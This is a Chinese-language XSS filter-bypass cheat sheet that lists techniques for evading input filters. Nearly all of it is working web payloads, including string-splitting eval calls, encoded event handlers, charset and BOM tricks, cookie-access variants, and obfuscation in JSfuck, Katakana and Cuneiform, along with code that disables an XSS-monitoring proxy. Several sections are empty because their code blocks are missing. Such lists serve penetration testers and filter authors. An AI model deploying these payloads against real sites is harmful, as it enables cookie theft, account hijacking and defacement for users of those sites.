XSS 过滤器绕过 (XSS Filter Bypass)
摘要 (Summary)
- 绕过大小写敏感 (#bypass-case-sensitive)
- 绕过标签黑名单 (#bypass-tag-blacklist)
- 通过代码执行绕过关键词黑名单 (#bypass-word-blacklist-with-code-evaluation)
- 利用不完整的 HTML 标签绕过 (#bypass-with-incomplete-html-tag)
- 绕过字符串引号限制 (#bypass-quotes-for-string)
- 在 Script 标签中绕过引号 (#bypass-quotes-in-script-tag)
- 在 Mousedown 事件中绕过引号 (#bypass-quotes-in-mousedown-event)
- 绕过点号 (.) 过滤 (#bypass-dot-filter)
- 绕过字符串括号限制 (#bypass-parenthesis-for-string)
- 绕过括号和分号 (#bypass-parenthesis-and-semi-colon)
- 绕过 onxxxx= 黑名单 (#bypass-onxxxx-blacklist)
- 绕过空格过滤 (#bypass-space-filter)
- 绕过电子邮件过滤 (#bypass-email-filter)
- 绕过 tel 协议过滤 (#bypass-tel-uri-filter)
- 绕过 document 黑名单 (#bypass-document-blacklist)
- 绕过 document.cookie 黑名单 (#bypass-documentcookie-blacklist)
- 在字符串内部使用 Javascript 绕过 (#bypass-using-javascript-inside-a-string)
- 利用替代的重定向方式绕过 (#bypass-using-an-alternate-way-to-redirect)
- 利用替代的弹窗执行方式绕过 (#bypass-using-an-alternate-way-to-execute-an-alert)
- 无需任何字符绕过 ">" (#bypass--using-nothing)
- 使用 < 和 > 绕过 "<" 和 ">" (#bypass--and--using--and-)
- 使用其他字符绕过 ";" (#bypass--using-another-character)
- 由于缺少 Charset Header 导致的绕过 (#bypass-using-missing-charset-header)
- 使用 HTML 编码绕过 (#bypass-using-html-encoding)
- 使用片假名 (Katakana) 绕过 (#bypass-using-katakana)
- 使用楔形文字 (Cuneiform) 绕过 (#bypass-using-cuneiform)
- 使用 Lontara 文本绕过 (#bypass-using-lontara)
- 使用 ECMAScript6 绕过 (#bypass-using-ecmascript6)
- 使用八进制编码绕过 (#bypass-using-octal-encoding)
- 使用 Unicode 绕过 (#bypass-using-unicode)
- 使用 UTF-7 绕过 (#bypass-using-utf-7)
- 使用 UTF-8 绕过 (#bypass-using-utf-8)
- 使用 UTF-16be 绕过 (#bypass-using-utf-16be)
- 使用 UTF-32 绕过 (#bypass-using-utf-32)
- 使用 BOM 绕过 (#bypass-using-bom)
- 使用 JSfuck 绕过 (#bypass-using-jsfuck)
- 参考资料 (#references)
绕过大小写敏感 (Bypass Case Sensitive)
要绕过对大小写敏感的 XSS 过滤器,您可以尝试在标签或函数名中混用大写和小写字母。
由于许多 XSS 过滤器只能识别纯小写或纯大写的模式,这种方法有时可以通过欺骗简单的过滤器来规避检测。
绕过标签黑名单 (Bypass Tag Blacklist)
通过代码执行绕过关键词黑名单 (Bypass Word Blacklist with Code Evaluation)
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
利用不完整的 HTML 标签绕过 (Bypass with Incomplete HTML Tag)
适用于 IE/Firefox/Chrome/Safari
绕过字符串引号限制 (Bypass Quotes for String)
在 Script 标签中绕过引号 (Bypass Quotes in Script Tag)
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
<script>
<?php echo 'foo="text '.$_GET['test'].'";';?>
</script>
</html>
在 Mousedown 事件中绕过引号 (Bypass Quotes in Mousedown Event)
在 onmousedown 事件处理器中,您可以使用 ' 来绕过单引号。
绕过点号 (.) 过滤 (Bypass Dot Filter)
将 IP 地址转换为十进制格式:例如 http://192.168.1.1 == http://3232235777
使用 Linux 命令对您的 XSS 载荷进行 Base64 编码:例如 echo -n "alert(document.cookie)" | base64 == YWxlcnQoZG9jdW1lbnQuY29va2llKQ==
绕过字符串括号限制 (Bypass Parenthesis for String)
绕过括号和分号 (Bypass Parenthesis and Semi Colon)
-
来自 @garethheyes
-
来自 @terjanq
-
来自 @cgvwzq
绕过 onxxxx= 黑名单 (Bypass onxxxx Blacklist)
-
使用较冷门的标签
-
使用空字节 / 垂直制表符 / 回车 / 换行来绕过
onxxx=过滤器 -
使用 '/' 来绕过
onxxx=过滤器
绕过空格过滤 (Bypass Space Filter)
-
使用 "/" 绕过空格过滤
-
使用
0x0c/^L、0x0d/^M、0x0a/^J或0x09/^I绕过空格过滤
```html <svg onload = alert(1)
```
```ps1 $ echo "
绕过 Document 黑名单 (Bypass Document Blacklist)
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
window["doc"+"ument"]
绕过 document.cookie 黑名单 (Bypass document.cookie Blacklist)
这是在 Chrome、Edge 和 Opera 上访问 Cookie 的另一种方式。请将 COOKIE NAME 替换为您想要获取的 Cookie。如果符合您的要求,您还可以研究 getAll() 方法。
在字符串内部使用 Javascript 绕过 (Bypass using Javascript Inside a String)
利用替代的重定向方式绕过 (Bypass using an Alternate Way to Redirect)
location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"
利用替代的弹窗执行方式绕过 (Bypass using an Alternate Way to Execute an Alert)
摘自 @brutelogic 的推文。
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
摘自 @theMiddle - 使用全局变量
Object.keys() 方法会按循环顺序返回一个包含给定对象所有自有属性名称的数组。这说明我们可以通过其 索引编号而不是函数名称 来访问任何 JavaScript 函数。
那么调用 alert 就是:
我们可以利用正则 ^a[rel]+t$ 找到 "alert" :
// 在新函数 a() 上绑定函数 alert
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
// 然后您可以配合 Object.keys 使用 a()
self[Object.keys(self)[a()]]("1") // alert("1")
一行式 (Oneliner):
摘自 @quanyang 的推文。
prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'
摘自 @404death 的推文。
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();
top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);
open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';
setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
利用替代的弹窗触发方式绕过:
var i = document.createElement("iframe");
i.onload = function(){
i.contentWindow.alert(1);
}
document.appendChild(i);
// 绕过安全措施
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
var proxy = obj[name];
obj[name] = function () {
if (exec_original) {
return proxy.apply(this, arguments);
}
};
XSSObject.lockdown(obj, name);
};
XSSObject.proxy(window, 'alert', 'window.alert', false);
无需任何字符绕过 ">" (Bypass ">" using Nothing)
不需要关闭标签,浏览器会尝试自动补全。
使用 < 和 > 绕过 "<" 和 ">" (Bypass "<" and ">" using < and >)
使用 Unicode 字符 U+FF1C 和 U+FF1E,更多详情请参考 使用 Unicode 绕过 (#bypass-using-unicode)。
使用其他字符绕过 ";" (Bypass ";" using Another Character)
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
由于缺少 Charset Header 导致的绕过 (Bypass using Missing Charset Header)
前提条件:
- 服务器返回头缺少
charset:Content-Type: text/html
ISO-2022-JP
ISO-2022-JP 使用转义字符在多个字符集之间进行切换。
| 转义字符 (Escape) | 编码方式 (Encoding) |
|---|---|
\x1B (B |
ASCII |
\x1B (J |
JIS X 0201 1976 |
\x1B $@ |
JIS X 0208 1978 |
\x1B $B |
JIS X 0208 1983 |
利使用 代码对照表,我们可以找到在从 ASCII 切换到 JIS X 0201 1976 时会被转换的多个字符。
| 十六进制 (Hex) | ASCII | JIS X 0201 1976 |
|---|---|---|
| 0x5c | \ |
¥ |
| 0x7e | ~ |
‾ |
示例:
使用 %1b(J 强制将 ascii 中的 \' 转换为 JIS X 0201 1976 中的 ¥',从而实现对引号的解转义。
载荷:search=%1b(J&lang=en";alert(1)//
使用 HTML 编码绕过 (Bypass using HTML Encoding)
%26%2397;lert(1)
alert
></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
使用片假名 (Katakana) 绕过
使用 aemkei/Katakana 库。
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
使用楔形文字 (Cuneiform) 绕过
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
使用 Lontara 文本绕过
ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()
关于更多字符集请参考 aem1k.com/aurebesh.js
使用 ECMAScript6 绕过
使用八进制编码绕过 (Bypass using Octal encoding)
使用 Unicode 绕过 (Bypass using Unicode)
此载荷利用 Unicode 转义序列来掩盖 JavaScript 函数。
载荷利用 Unicode 转义序列来表示字符。
| Unicode | ASCII |
|---|---|
\u0061 |
a |
\u006C |
l |
\u0065 |
e |
\u0072 |
r |
\u0074 |
t |
对以下 Unicode 字符也是同样道理。
| Unicode (UTF-8 编码) | Unicode 名称 | ASCII | ASCII 名称 |
|---|---|---|---|
\uFF1C (%EF%BC%9C) |
FULLWIDTH LESS-THAN SIGN | < | 小于号 |
\uFF1E (%EF%BC%9E) |
FULLWIDTH GREATER-THAN SIGN | > | 大于号 |
\u02BA (%CA%BA) |
MODIFIER LETTER DOUBLE PRIME | " | 双引号 |
\u02B9 (%CA%B9) |
MODIFIER LETTER PRIME | ' | 单引号 |
一个示例载荷可能是 ʺ><svg onload=alert(/XSS/)>/,URL 编码后的样子如下:
当 Unicode 字符被转换为另一种大小写时,它们可能会绕过查找特定关键词的过滤器。
| Unicode | 转换方式 | 字符 |
|---|---|---|
İ (%c4%b0) |
toLowerCase() |
i |
ı (%c4%b1) |
toUpperCase() |
I |
ſ (%c5%bf) |
toUpperCase() |
S |
K (%E2%84) |
toLowerCase() |
k |
以下载荷在转换后会变成合法的 HTML 标签。
使用 UTF-7 绕过
使用 UTF-8 绕过
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
使用 UTF-16be 绕过
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
使用 UTF-32 绕过
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
使用 BOM 绕过 (Bypass using BOM)
字节顺序标记 (页面必须以 BOM 字符开头)。 BOM 字符允许您覆盖页面的字符集。
用于 UTF-16 编码的 BOM 字符:
大端序 (Big Endian) : 0xFE 0xFF
小端序 (Little Endian) : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E
用于 UTF-32 编码的 BOM 字符:
大端序 (Big Endian) : 0x00 0x00 0xFE 0xFF
小端序 (Little Endian) : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
使用 JSfuck 绕过 (Bypass using JSfuck)
使用 jsfuck 绕过
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()